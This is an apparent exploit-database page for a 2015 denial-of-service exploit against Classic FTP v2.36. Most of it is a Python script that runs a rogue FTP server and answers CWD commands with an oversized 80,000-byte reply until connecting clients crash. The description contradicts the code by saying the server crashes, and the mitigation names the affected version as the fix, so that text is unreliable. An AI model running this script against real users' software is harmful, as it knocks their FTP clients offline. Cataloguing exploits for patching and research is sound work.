header-logo
Suggest Exploit
vendor:
Classic FTP
by:
St0rn
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Classic FTP
Affected Version From: 2.36
Affected Version To: 2.36
Patch Exists: YES
Related CWE: N/A
CPE: a:nchsoftware:classic_ftp
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7
2015

Classic FTP v2.36 CWD Reconnection DOS

Classic FTP v2.36 is vulnerable to a Denial of Service attack when a malicious user sends a CWD command with a large number of characters. This causes the server to crash and the service to become unavailable.

Mitigation:

Upgrade to the latest version of Classic FTP v2.36 or later.
Source

Exploit-DB raw data:

#!/usr/bin/env python
#
# Exploit Title: Classic FTP v2.36 CWD Reconnection DOS
# Date: 27/07/2015
# Exploit Author: St0rn <fabien[at]anbu-pentest[dot]com>
# Vendor Homepage: www.nchsoftware.com
# Software Link: www.nchsoftware.com/classic/cftpsetup.exe
# Version: 2.36
# Tested on: Windows 7
#


import socket
import sys
import time


junk1="250 "+"a"*(80000-6)+"\r\n"
c=1

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",21))
s.listen(10)


while 1:
 conn, addr = s.accept()
 print 'Connected with ' + addr[0] + ':' + str(addr[1])
 conn.send("220 Classic FTP Xsploit\r\n")
 try:
  while 1:
   buf=conn.recv(1024)
   if "USER" in buf:
    conn.send("331 User name okay, need password\r\n")
   if "PASS" in buf:
    conn.send("230-Password accepted.\r\n")
    conn.send("230 User logged in.\r\n")
   if "CWD" in buf:
    conn.send(junk1)
    print "Evil Response send with %s bytes!" %len(junk1)
    print "Loop %s: \n\tWaiting client reconnection, crash in %s loop\n" %(c,(122-c))
    if c==122:
     print "BOOMmMm!"
    c+=1
   if "QUIT" in buf:
    break
 except:
  time.sleep(0)